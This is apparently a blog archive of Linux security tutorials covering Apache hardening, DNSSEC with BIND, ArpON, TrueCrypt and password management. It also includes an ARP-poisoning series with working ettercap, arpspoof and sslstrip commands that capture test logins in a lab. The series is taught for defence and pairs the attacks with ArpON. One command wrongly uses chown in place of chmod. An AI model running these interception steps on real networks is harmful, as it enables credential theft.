Managing passwords with MyPasswords

From a long time, I was looking for a tool in order to handle all my passwords, and by trying out different options, I came across MyPasswords, an easy and handy application which allows you to store your credentials within a Derby database.

What can I highlight from this tool? First of all, it is really fast and does not require any installation, that is, we are talking about a java application that can be run on Linux, Unix, Solaris, Mac, Windows, etc. Secondly, you can easily export the repository to a XML file, so as to bring it back later. And finally, MyPasswords works with tags, that is to say, a tag can be added to each element stored in the database, and in this way, it is straightforward to locate an item at any given time.

For this article, I am going to use the latest version available on the website: 2.92. After grabbing and unpacking it, you can execute it by running the shell script called MyPasswords.sh (a simple script which launches the java file). Then, you will be able to see a screen as follows.

Don't forget to take a look at the readme.txt file, since it is wrote down the default password used to start MyPasswords.

As you can appreciate in the previous image, the main window allows you to create a new entry, by fulfilling the fields that you want to store for your item, such as the username and password. Pay attention to the Strength field, as MyPasswords is able to warn you about the strength of the password introduced.

I recommend you to use the password generator utility provided by MyPasswords, and turn out passwords with at least 16 alphanumeric characters (much better if you add symbols as well).

The Tags field is very practical, since it allows you later to look up your items by browsing a tag tree. In addition, you have the Search option, used to find elements by using titles and tags. Also point out that it is a good idea to export your encrypted repository to a XML file from time to time, as a backup. If so, you will have to supply a password in order to preserve the generated file.

Lastly, remember to change the default password used by MyPasswords. It is necessary that this password is really strong, as it will be the key to access all your passwords.

Apache performance tuning: security (II)

This is the second part of the article Apache performance tuning: security (I).

Disable DNS reverse

Apache has a special directive, HostnameLookups, that if it is set on, the web server will always try to resolve the IP address for each connection. This situation adds an unnecessary overload to the system, because if you need to know the names of the machines involved, you can use the logresolve tool later.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
HostnameLookups Off
...

Unnecessary information provided by Apache

Disable the information introduced by Apache about its version and the kind of operating system on where it is running, both HTTP response headers from the server and error messages.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
ServerTokens Prod
ServerSignature Off
...

Customize error messages

By using the ErrorDocument directive, you can pick out which error message should be showed the client when a particular error takes place.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
ErrorDocument 404 "Error 404 !!!"
ErrorDocument 500 /error_500.html

Limit HTTP access methods

The HTTP protocol defines eight different methods: GET, POST, CONNECT, etc. You can use the Limit directive in order to restrict the effect of the access controls to the aforementioned HTTP methods, for instance avoiding that one of this methods works on a directory or virtual host.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
<Limit POST>
    Order deny,allow
    Deny from all
</Limit>
...

The preceding configuration will not allow to upload any file to the server, returning a 403 Forbidden error if you try it.

Set the right permissions to the Apache binary

Every user who is not the owner or does not belong to the Apache group, cannot access the Apache executable file.

[root@localhost ~]# chown o-rwx /usr/sbin/httpd

Remove the welcome message

The welcome message is a web page which is displayed to the user when no index.html document exists in the DocumentRoot of the server, and the indexation is disabled (Options -Indexes).

[root@localhost ~]# rm /etc/httpd/conf.d/welcome.conf

Perform a security analysis through Nikto

Nikto is an open source web server scanner (developed in Perl) which carries out comprehensive tests against web servers for multiple items, including around 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also verifies for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.

[root@localhost ~]# wget --no-check-certificate https://cirt.net/nikto/nikto-2.1.4.tar.gz

[root@localhost ~]# tar xvzf nikto-2.1.4.tar.gz ; cd nikto-2.1.4

[root@localhost nikto-2.1.4]# ./nikto.pl -host localhost
- ***** SSL support not available (see docs for SSL install) *****
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    localhost
+ Target Port:        80
+ Start Time:         2012-05-32 22:16:13
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS)
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 5 item(s) reported on remote host
+ End Time:           2012-05-32 22:16:39 (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto also has other useful option that you can take a look at. In addition, you can run Nikto with the "-update" option, so as to update databases and plugins from CIRT.net.

[root@localhost nikto-2.1.4]# ./nikto.pl -update

Apache performance tuning: security (I)

Let's get started by remembering the series of articles published about Apache performance tuning:

• Apache performance tuning: dynamic modules (I and II).
• Apache performance tuning: directives (I and II).
• Apache performance tuning: benchmarking (I)

In this post, I am going to talk about the points related to security, which you have to take into account when you are setting up an Apache installation.

Restrictions for the Apache user

The Apache user must not be able to log into the system. If you take a look at both passwd and shadow files, you will be able to appreciate that no shell is assigned to him (/sbin/nologin), and the field reserved for the password will contain "!!". That means that the Apache user will not be able to log on the system (he is blocked).

[root@localhost ~]# cat /etc/passwd | grep apache
apache:x:48:48:Apache:/var/www:/sbin/nologin

[root@localhost ~]# cat /etc/shadow | grep apache
apache:!!:15490::::::

Restrictions for the system root

You have to prevent that the system root (/) is accessible through the web server. It is also better to disable all options on the root directory (Options none)  and control what directives can be used in the .htaccess file by means of the AllowOverride directive.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
<Directory />
    Order deny,allow
    Deny from all
    Options none
    AllowOverride none
</Directory>
...

If you define the root directory with these characteristics, then you will have to add to each directory the allowed options.

Hiding a directory or a file

Perhaps you can have a directory completely indexed and in turn, it contains different subdirectories, but you do not want to make visible a concrete directory (hidden) and you desire that it is reachable only when you type its URL. For this purpose, you have to use the IndexIgnore option.

[root@localhost ~]# cat /etc/httpd/conf/httpd.conf
...
<Directory "/var/www/html/data">
    Options Indexes
    IndexIgnore status
    IndexIgnore *.bpm
    ...
</Directory>
...

In the previous example, Apache will keep hidden the status directory and all files with bmp extension included in the /var/www/html/data directory.

Setting up BIND to secure DNS with DNSSEC (III)

In the last article about Setting up BIND to secure DNS with DNSSEC, we completed the configuration of DNSSEC in order to sign a zone file. When you sign a zone, you have to take into account that the dnssec-signzone command generates signatures which are valid only for 30 days, unless you indicate another date by means of the option -e end-time.

If your signature expires, you will have to resign the zone and use the new signed file. You will also have to resign your zone if you make some change (add, modify or remove some record) in the zone file. At any rate, it is highly recommended to regenerate the KSK key at least every year and ZSK every three months.

After setting up DNSSEC, the next step is to provide our zone's DS (Delegation Signer) record to our parent, whenever the parent is also using DNSSEC. We can utilize for this purpose the following command, by passing as argument the ZSK file.

[root@dns test.local]# dnssec-dsfromkey Ktest.local.+005+05775.key 
test.local. IN DS 5775 5 1 01FC6E8961D76D6438CAC77260EFF2E28AC0EFB0
test.local. IN DS 5775 5 2 175D8A898137886AADE03886FD69F9EA0D3EF1230B803AAB7EF23F9B 409079E1

Let's move on by using another CentOS 6.2 client in order to check the DNSSEC configuration. This new computer will have as main DNS, the server that we have just set up, and it will request DNSSEC records (+dnssec) through a query.

[root@localhost ~] yum install bind-utils    

[root@localhost ~]# dig @dns.test.local test.local +dnssec
...
;; AUTHORITY SECTION:
test.local.        86400    IN    SOA    dns.test.local. admin.test.local. 1 21600 3600 604800 86400
test.local.        86400    IN    RRSIG    SOA 5 2 86400 20120410195007 20120311195007 5775 test.local. KozjX5R/1gTw4Q4xYzVnkpOnyRwviJVbqrrWzH95qwuWVSaMqOrlchvn giTYs94B1esCdD1xHouPkqIQ+BmIin5OEd3+G0038b1GGv7QY7ylzJr5 LO+TFF6M7toZLAmTMrQigYvV/1IDVvqxKvI1zjJahU49e6Sl+Hyfl85B vCE=
test.local.        86400    IN    NSEC    dns.test.local. NS SOA RRSIG NSEC DNSKEY
test.local.        86400    IN    RRSIG    NSEC 5 2 86400 20120410195007 20120311195007 5775 test.local. Fxo9aBIpTgd52p+sEseqA7CWPLmRLhCzv2d4gZhdgbvk+whoSOpu6ZMf GotfqkocX6+nafHeFBJvknJY0R25yiYP75nSaZoxAdDnBWv7VgE0Ywzi lges8wZyGX0VUMVTUWrvJYdZr+aThJqE0Shf4TuVKjhQqlwxsio+YXeS WhU=
...

As you can appreciate above, we can get the corresponding RRSIG (Resource Record Signature) for each record.

And finally, also point out a quick method to validate if our DNS server is using DNSSEC. We can perform a DNS lookup by asking for the next name: www.dnssec-failed.org. If you come across a "not found" error as shown below, that means you are using a DNSSEC-validating DNS server.

[root@localhost ~]# host www.dnssec-failed.org
Host www.dnssec-failed.org not found: 3(NXDOMAIN)

Setting up BIND to secure DNS with DNSSEC (II)

Let's continue with the second part of the article titled Setting up BIND to secure DNS with DNSSEC. First up, we have to know that the default configuration of BIND on CentOS 6 allows to use directly DNSSEC.

[root@dns ~]# cat /etc/named.conf
...
    dnssec-enable yes;
    dnssec-validation yes;
    dnssec-lookaside auto;

To begin with, we are going to generate the ZSK (it takes care of signing the records of the zone file) and KSK (it takes care of signing the ZSK) keys. Each command turns out two key pair files, public (.key) and private (.private). Pay attention to the permissions of the private keys. As you can guess, only root has access to the files.

[root@dns ~]# cd /var/named/test.local/

[root@dns test.local]# dnssec-keygen test.local

[root@dns test.local]# dnssec-keygen -f KSK test.local

[root@dns test.local]# ls -l
total 20
-rw-r--r--. 1 root root  428 Mar 11 20:33 Ktest.local.+005+05775.key
-rw-------. 1 root root 1010 Mar 11 20:33 Ktest.local.+005+05775.private
-rw-r--r--. 1 root root  602 Mar 11 20:36 Ktest.local.+005+06859.key
-rw-------. 1 root root 1774 Mar 11 20:36 Ktest.local.+005+06859.private
-rw-r--r--. 1 root root  163 Mar 11 19:15 test.local.zone

Next step is to add the public key files to the zone file. We will have a couple of extra DNSKEY records included inside the file.

[root@dns test.local]# cat *.key >> test.local.zone

[root@dns test.local]# cat test.local.zone
...
test.local. IN DNSKEY 256 3 5 AwEAAc1...
test.local. IN DNSKEY 257 3 5 AwEAAda...

At this moment, we are able to sign the zone. The last argument of the command is the zone file and through the "-o" option, we can indicate the zone origin. This order creates a new version of the zone file by adding NSEC and RRSIG records.

[root@dns test.local]# dnssec-signzone -o test.local test.local.zone

[root@dns test.local]# ls -l *.signed
-rw-r--r--. 1 root root 3429 Mar 11 20:50 test.local.zone.signed

Now we only need to update the named.conf file in order to point at the new signed file. Remember to reload the service for the changes to take effect.

[root@dns test.local]# cat /etc/named.conf
...
zone "test.local" IN {
    type master;
    file "test.local/test.local.zone.signed";
};

[root@dns ~]# /etc/init.d/named restart

I will finally write a third article so as to carry out some test about this.

Setting up BIND to secure DNS with DNSSEC (I)

DNSSEC stands for Domain Name System Security Extensions. From the acronym, we ought to figure out that basically, this extension takes care of adding security to the DNS protocol.

When the DNS protocol came out, like most of the initial protocols of Internet, it was not designed by taking into account the security. Over time, the DNS protocol has become one of the biggest risks related to security. We only have to remember the series of articles about ARP poisoning (I, II and III).

DNSSEC allows zones to be verified by signing them with a zone key. Thus, the information about a specific zone can be authenticated as coming from a nameserver which has signed it with a concrete private key, as long as the client has the nameserver's public key.

How does DNSSEC work? Signs all zone records with the same name and type by using a Zone Signing Key (ZSK). This process turns out a signature which is stored in a RRSIG (Resource Record Signature) record. In turn, the public part of the ZSK is a DNSKEY (DNS Public Key) record. Afterwards, ZSK will be signed by other different key known as KSK (Key Signing Key). KSK is also stored in a DNSKEY record.

So in this way, we will be able to use DNSSEC to check DNS secure results (from a signed zone validated correctly), insecure results (from an unsigned zone), and fake results (signature fails when is validated or zone is unsigned but parent says which should be signed).

Let's get started by configuring a simple zone called test.local on a CentOS 6.2 server. To begin with, we are going to install BIND (version 9.7.3) and define our zone in the configuration file. The type of zone will be master, that is, it designates the nameserver as authoritative for this zone.

[root@dns ~]# hostname
dns.test.local

[root@dns ~]# yum install bind

[root@dns ~]# cat /etc/named.conf
...
options {
    listen-on port 53 { any; };
...
    allow-query     { localhost; localnets; };
...
};

zone "test.local" IN {
    type master;
    file "test.local/test.local.zone";
};

Then we have to create the zone file. As commented before, it will be a simple file with an unique address record specifying the IP of the server (192.168.183.130).

[root@dns ~]# mkdir /var/named/test.local

[root@dns ~]# cat /var/named/test.local/test.local.zone
; Zone name
$ORIGIN test.local.

; Default Time to Live (TTL)
$TTL    86400

; Start Of Authority resource record
; (serial-number time-to-refresh time-to-retry time-to-expire minimum-TTL)
@       IN SOA dns.test.local. admin.test.local. (1 6H 1H 1W 1D)

; NameServer record (announces the authoritative nameserver for a particular zone)
        IN NS  dns.test.local.

; Address record (specifies an IP address to assign to a name)
dns     IN A   192.168.183.130

So far, this is the normal behavior of a DNS server without authenticating its zones. If you restart the BIND service right away, you could use it as a normal DNS server. Next week, I will end up by setting the configuration for DNSSEC.

[root@dns ~]# /etc/init.d/named restart

Shutting out ARP poisoning and spoofing with ArpON

Based on the series of articles that I wrote about ARP poisoning (I, II and III), I would like to put forward a great tool, ArpON (Arp handler inspectiON), aimed at protecting us against ARP poisoning, spoofing and routing, by preventing attacks as the Man in the Middle (MitM). It also avoids from derived attacks such as DNS and WEB spoofing, and session and SSL/TLS hijacking.

This is the typical program that I always install on any Linux computer, since it is essential in order to shut out any type of attack commented above. And furthermore, it is really meaningful when you get around and have to connect your laptop to some untrusted network, such as inside a library, pub, airport and so on.

ArpON uses two kinds of methods: DARPI (Dynamic Arp Inspection) and SARPI (Static Arp Inspection). With the second technique, you have to register into a configuration file, the MAC and IP address of each computer which you rely. This may be a hard task when you have got lots of devices in your network. In return, DARPI follows up all incoming and outgoing ARP packets.

In this article, I am going to set up DARPI on Ubuntu 11.10. I will install ArpON from the official repository (version 2.0). It is a pity because this version came out last year and I cannot understand why it has not been updated in the last release of Ubuntu. The current version which you can download from the ArpON web site is 2.7.

In PCs or laptops, I prefer to install it from the Ubuntu repositories, due to it will be automatically upgraded (in theory) with each new release of Ubuntu. Instead, on production servers, it pays off to compile it from its source code so as to have the latest version.

Ok, so we are going to install ArpON and put it into DARPI mode. In addition, ArpON will be automatically started during the boot.

root@victim:~# aptitude install arpon

root@victim:~# cat /etc/default/arpon
...
# For DARPI uncomment the following line
DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"

# Modify to RUN="yes" when you are ready
RUN="yes"

root@victim:~# /etc/init.d/arpon start

First up, we are going to take a look at the ARP table of the victim (remember the involved computers were presented in the first article about ARP poisoning). As you can pick out, the dependable addresses are tagged as PERM (permanent).

root@victim:~# arp -a
? (192.168.1.150) at 00:80:5a:54:32:67 [ether] PERM on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] PERM on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] PERM on eth0

If we observe the log turned out by ArpON at the beginning, it first of all cleans up the ARP cache by removing all entries, in order to avoid that the table is poisoned.

root@victim:~# tail -f /var/log/arpon/arpon.log
  17:55:00 - Wait link connection on eth0...
  17:55:12 - DARPI on dev(eth0) inet(192.168.1.10) hw(0:c:29:69:81:47)
  17:55:12 - Deletes these Arp Cache entries:
  17:55:12 - 1)   192.168.1.150 ->  0:80:5a:54:32:67
  17:55:12 - 2)     192.168.1.1 ->  0:60:b3:50:ab:45
  17:55:12 - 3)    192.168.1.11 ->   0:c:29:18:36:e6
  17:55:12 - Cache entry timeout: 500 milliseconds.
  17:55:12 - Realtime Protect actived!
  17:55:46 - Request >> Add entry 192.168.1.150
  17:55:46 - Reply   << Refresh entry 192.168.1.150 -> 0:80:5a:54:32:67
  17:55:47 - Request >> Add entry 192.168.1.1
  17:55:47 - Reply   << Refresh entry 192.168.1.1 -> 0:60:b3:50:ab:45
  17:55:58 - Request << Delete entry 192.168.1.150 -> 0:80:5a:54:32:67
  17:55:58 - Reply   >> Send to 192.168.1.150 -> 0:80:5a:54:32:67
  17:55:58 - Request >> Add entry 192.168.1.150
  17:55:58 - Reply   << Refresh entry 192.168.1.150 -> 0:80:5a:54:32:67
...

To sum up the running of ArpON into DARPI mode, first point out that ArpON handles its own ARP table called DARPI cache, by applying several rules to different kinds of packets.

ARP request

For the outbound traffic (packets generated by us), ArpON lets them pass, by adding an entry with the target into the DARPI cache. For the inbound traffic (packets which come to us from the network), ArpON refuses the packet, by deleting the entry of the source address written down into the ARP cache, because that packet could be poisoned. Later, the kernel will send out an ARP request so as to make sure the origin.

ARP reply

For the outgoing traffic, ArpON just lets them pass. For the incoming traffic, ArpON verifies whether the source address matches an entry in the DARPI cache. If so, it lets the packet get in, by adding an entry into the ARP cache. Otherwise, it denies the packet, by removing the entry from the ARP cache.

To begin with the test, we are going to run a MitM attack between the router and the victim.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/

If we review the ArpON log again, we can see that the poisoning attempts from the attacker are correctly rejected.

root@victim:~# tail -f /var/log/arpon/arpon.log
...
192.168.1.1 -> 0:c:29:20:9f:9b
  18:13:16 - Reply   << Delete entry
192.168.1.1 -> 0:c:29:20:9f:9b
  18:13:17 - Reply   << Delete entry
192.168.1.1 -> 0:c:29:20:9f:9b
  18:13:18 - Reply   << Delete entry
...

You may likewise check out this situation by activating the chk_poison plugin through the same ettercap.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/
...
Plugin name (0 to quit): chk_poison
Activating chk_poison plugin...

chk_poison: Checking poisoning status...
chk_poison: No poisoning between 192.168.1.10 -> 192.168.1.1

Another way is to print the ARP cache again. As you can distinguish, a new entry relative to the attacker has been added, and the other ones keep in the same state.

root@victim:~# arp -a
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] PERM on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] PERM on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] PERM on eth0
? (192.168.1.150) at 00:80:5a:54:32:67 [ether] PERM on eth0

TrueCrypt under the command line

I have an external hard drive (LG XD3, 500 GB) broken up into a couple of partitions, 450 and 50 GB respectively. The first partition is public and formatted with NTFS. The second one is formatted with ext4 and encrypted by means of TrueCrypt, and it is where I store my private data.

So far, I used TrueCrypt into graphical mode, but over time, I realize that it is more comfortable to handle the command line version (aside from I tend to rule out any kind of graphical tool whenever possible).

TrueCrypt is a powerful program which may cypher partitions, logical volumes, whole hard drives or even installed operating systems. The encryption is transparently and automatically carried out, and on top of all that, on real time (that is to say, on the fly). Another plus is the option to hide volumes and its performance, which is excellent.

One practical detail of TrueCrypt is that is not necessary to install it on the system. To that end, you have to download the Console-only-32-bit file (in my case, the 32-bit version), decompress the included binary and run it. Then, you will have to choose the second option: Extract package file truecrypt_7.1_console_i386.tar.gz and place it to /tmp. Within this tgz file is located the executable file of TrueCrypt.

I get used to drop off this binary file into the public partition of the external hard drive. Thereby, when I have to use it, I just have to get it from there.

javi@javi-ubuntu:/tmp$ cp /media/public/truecrypt/truecrypt . ; chmod +x truecrypt

javi@javi-ubuntu:/tmp$ ./truecrypt --version
TrueCrypt 7.1

First of all, I had to encrypt the partition. This is a long process and depends on the size of your partition. Below you may appreciate that the average speed was 26 MB/s.

In the next output, you can see that in order to create the cyphered partition (sdb2), I followed the text wizard provided by TrueCrypt. Other choice would have been to pass the parameters through the command line (--encryption, --size, etc.).

javi@javi-ubuntu:/tmp$ sudo ./truecrypt -c
Volume type:
 1) Normal
 2) Hidden
Select [1]: 1

Enter volume path: /dev/sdb2

Encryption algorithm:
 1) AES
 2) Serpent
 3) Twofish
 4) AES-Twofish
 5) AES-Twofish-Serpent
 6) Serpent-AES
 7) Serpent-Twofish-AES
 8) Twofish-Serpent
Select [1]: 1

Hash algorithm:
 1) RIPEMD-160
 2) SHA-512
 3) Whirlpool
Select [1]: 1

Filesystem:
 1) None
 2) FAT
 3) Linux Ext2
 4) Linux Ext3
 5) Linux Ext4
Select [2]: 5

Enter password: 
Re-enter password: 

Enter keyfile path [none]: 

Please type at least 320 randomly chosen characters and then press Enter:


Done: 100.000%  Speed:   26 MB/s  Left: 0 s                

The TrueCrypt volume has been successfully created.

Once you have created the encrypted partition (remember that my example is based on a partition, but you can also cypher a file or logical volume), the procedure is pretty easy. When you want to work with that safe area, you only have to mount it by means of TrueCrypt.

javi@javi-ubuntu:/tmp$ mkdir /mnt/truecrypt

javi@javi-ubuntu:/tmp$ sudo ./truecrypt /dev/sdb2 /mnt/truecrypt
Enter password for /dev/sdb2: 
Enter keyfile [none]: 
Protect hidden volume (if any)? (y=Yes/n=No) [No]:

javi@javi-ubuntu:/tmp$ ./truecrypt --list
1: /dev/sdb2 /dev/mapper/truecrypt1 /mnt/truecrypt

By running the following command, you may collect more details about a mounted volume.

javi@javi-ubuntu:/tmp$ ./truecrypt --volume-properties /dev/sdb2
Slot: 1
Volume: /dev/sdb2
Virtual Device: /dev/mapper/truecrypt1
Mount Directory: /mnt/truecrypt
Size: 50.0 GB
Type: Normal
Read-Only: No
Hidden Volume Protected: No
Encryption Algorithm: AES
Primary Key Size: 256 bits
Secondary Key Size (XTS Mode): 256 bits
Block Size: 128 bits
Mode of Operation: XTS
PKCS-5 PRF: HMAC-RIPEMD-160
Volume Format Version: 2
Embedded Backup Header: Yes

You can dismount it by executing the next order.

javi@javi-ubuntu:/tmp$ sudo ./truecrypt --dismount /mnt/truecrypt

TrueCrypt has got many more options through the command line. I invite you to take a look at them by checking its help.

And finally, I would like to conclude this article by writing down the order (based on rsync) that I usually run to back up my data into the private partiton.

javi@javi-ubuntu:~$ rsync -altgvb --delete /data /mnt/truecrypt/

ARP poisoning (III)

During the first article about ARP poisoning (I), we learnt the danger of connecting to a service by using a non-secure protocol, such as HTTP, FTP, SMTP and so on. The username and password are passed down in clear, and anyone could sniff them.

Ok, that's right, so we have to use safe protocols (HTTPS, SSH, FTPS, etc.). But what occurs whether the digital certificate utilized to authenticate and encrypt the communication is changed on the fly? That is just what we studied in the second article about ARP poisoning (II). The bottom line was that we always have to pay attention when we load a webpage and, we must only accept a trusted certificate.

What would happen if one day we are a little bit asleep and we do not realize that we are using HTTP rather than HTTPS? What? How is it possible that I am logging in to my bank account and that access is not provided through HTTPS? Well you should believe it.

Bellow you can look into the normal login in the Oracle website, both Firefox and Google Chrome. You may observe that both accesses are correctly served by means of HTTPS.

Imagine for a moment that an intruder carries out a poisoning attack between you and the router, in order to intercept all data transmitted. Then, he sets up a tool like sslstrip to establish two TCP communications. On the one hand, a first HTTPS connection between him and the Oracle web, by using the real certificate offered by Oracle, and on the other, a second HTTP connection between him and you. This is the target of sslstrip, to take advantage of a Man in the Middle attack (MitM) for tapping SSL/TLS conversations.

root@attacker:~# aptitude install sslstrip

root@attacker:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000

root@attacker:~# sslstrip -w victim.log
sslstrip 0.9 by Moxie Marlinspike running...

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/

After running ettercap and forwarding all HTTP traffic to port 10000 (default port used by sslstrip), if the victim tries to open the aforementioned HTTPS Oracle web page, it will turn up the HTTP version of the site (sslstrip takes care of transforming the preceding content sent out by Oracle and serves it to the victim through a HTTP session).

The following figures show the manipulated web page created by sslstrip.

If the victim attempts to sign in, the credentials will be catched by the attacker.

root@attacker:~# cat victim.log
...
2011-11-05 19:51:47,876 POST Data (login.oracle.com):
...
AD91DC75E382F4E9ACDC66D839F095558488AA1754EB29D4513F832B83CB31BF05DB93ACCC18255184E5296825625A56EA6&locale=&ssousername=test%40mytest.com&password=test2

Ok, perfect, so to get out of this kind of attack, first of all, we must have a good cup of coffe every morning, ;-), and second, to be very careful when we surf the Internet. At any rate, as commented in the first post, the end of this series of articles is to present later a great tool which will help us to shut out this sort of problems.

Carrying on with sslstrip, it still holds a last trick: to be able to draw a padlock icon in the navigation bar.

root@attacker:~# sslstrip -f -w victim.log
sslstrip 0.9 by Moxie Marlinspike running...

You can take a look at it in both browsers.

It is very important to underline the risks of this type of attack. You could check it out with hundreds of websites (banks, e-commerce, sports betting, etc.) and in the most of them, you could be spoofed. But I have also seen that there are other webs such as PayPal, where the altered web page does not work out very well.

ARP poisoning (II)

During the last article, ARP poisoning (I), you were able to learn the risks of using non-secure protocols inside an unreliable network. At any moment, your connection credentials can be captured by any intruder and you will not be aware of that. Note that this situation can be very common when you surf the Internet and go to HTTP websites, or for example, when you log into your MSN account.

So what happens with secure protocols such as HTTPS? That is to say, for instance when you access your online bank account, PayPal, Gmail, LinkedIn and so on. Are you safe? In most cases, that will depend on you.

Let's go over the normal behavior of a secure site like Facebook. If you click with the left mouse button on facebook.com (in the web browser bar, once you have opened the site), you will be able to appreciate that the connection to the web is encrypted and verified by DigiCert Inc (certification authority).

By pressing on the More Information button, you may take a look at the features of the digital certificate offered by Facebook. As you can pick out in the first screen, the certificate has been issued by DigiCert Inc to Facebook, and in the second one, it is made up by a valid Certificate Hierarchy.

Now we are going to use another audit tool: Ettercap (NG-0.7.3). This program is aimed at sniffing switched LANs, by supporting active and passive analysis of many protocols (HTTP, FTP, POP, IMAP, NFS, etc.), even ciphered ones.

In addition, it includes many options for network and host inspection, data injection in an established connection, lots of loadable modules at runtime, also known as plugins (arp_cop - report suspicious ARP activity -, dos_attack - run a DoS against a victim -, finger - fingerprint a remote host -, etc.), several MitM attacks (ARP poisoning, ICMP redirection, DHCP spoofing and port stealing) and so on.

The victim computer is going to open Facebook (HTTPS) through a web browser (Firefox). Therefore, the victim will go out across the router so as to reach Facebook via Internet.

Ettercap will be utilized in order to poison both elements, victim and router, to sniff all traffic between them. So how can the attacker capture the password, whether this one is sent out through the secure channel previously set up? First up, the traffic between the victim and Facebook is not going directly to the router, but that it will pass through the attacker, which will be picking up all data.

Thereby, on the one hand the attacker will establish an HTTPS connection between itself and Facebook by using the correct certificate issued by Facebook, and on the other, another HTTPS connection between itself and the victim, but this time, by means of a fake certificate created on the fly and which will have all fields filled according to the real certificate presented by Facebook.

Let's get started by editing the configuration file of Ettercap, in order to enable the iptables command to allow the TCP redirection at kernel level, so as to be able to handle SSL dissection.

root@attacker:~# aptitude install ettercap

root@attacker:~# cat /etc/etter.conf
...
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
...
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
...

Now we are ready to run Ettercap by spoofing both targets and activating the ARP poisoning MitM attack. The 'remote' parameter is set in order to capture the connections which pass through the router, otherwise just the connections between them would be catched.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 ->       00:0C:29:20:9F:9B      192.168.1.20     255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.1 00:60:B3:50:AB:45

 GROUP 2 : 192.168.1.10 00:0C:29:69:81:47
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

At this moment, if you open Facebook again, Firefox will warn you that it cannot confirm that the connection is secure. Normally, when you try to connect securely, sites such as banks, stores, public organisms, etc., present trusted identifications to prove that you are going to the right place.

If you confirm the security exception and accept the digital certificate, you will have fallen into the trap of the attacker. Let's review the characteristics of this invalid certificate, so as to be able to compare it with the real certificate (second figure).

As you can make out in the general features of the fake certificate, only the fingerprints are modified, because of the attacker has signed it with him private key. Besides, the undependable certificate does not present a correct hierarchy.

Now if you attempt to login into Facebook, your credentials will be catched by the attacker.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/
...

Text only Interface activated...
Hit 'h' for inline help

HTTP : 69.171.224.39:443 -> USER: test@mytest.com  PASS: test1  INFO: https://www.facebook.com/

ARP poisoning (I)

From a long time, I wanted to write some article about this issue. I think that people are not aware of the potential risks when they connect to a public network, such as inside an airport, library, pub and so on, even the own office network.

Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...

Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.

Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.

To begin with, let's get started by saying how ARP works (Address Resolution Protocol). Basically, this protocol is used to associate MAC and IP addresses.

For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).

Hereafter, the computer stores into its MAC table (temporary) the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.

What kind of attacks can derive from this situation? For instance, the well-known Man in the Middle attack (MitM).

Below you can see the environment which I will hold for my tests. Victim and attacker are an Ubuntu 10.11, and ubuntu-server is an Ubuntu Server 11.10 release.

In my first case, I am going to put the attacker computer intercepting all communications between ubuntu-server and victim. To be more precise, the victim will connect to a FTP service installed on ubuntu-server and the attacker will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.

So that the attacker node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).

root@attacker:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@attacker:~# aptitude install dsniff

Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.

javi@ubuntu-server:~$ arp -a
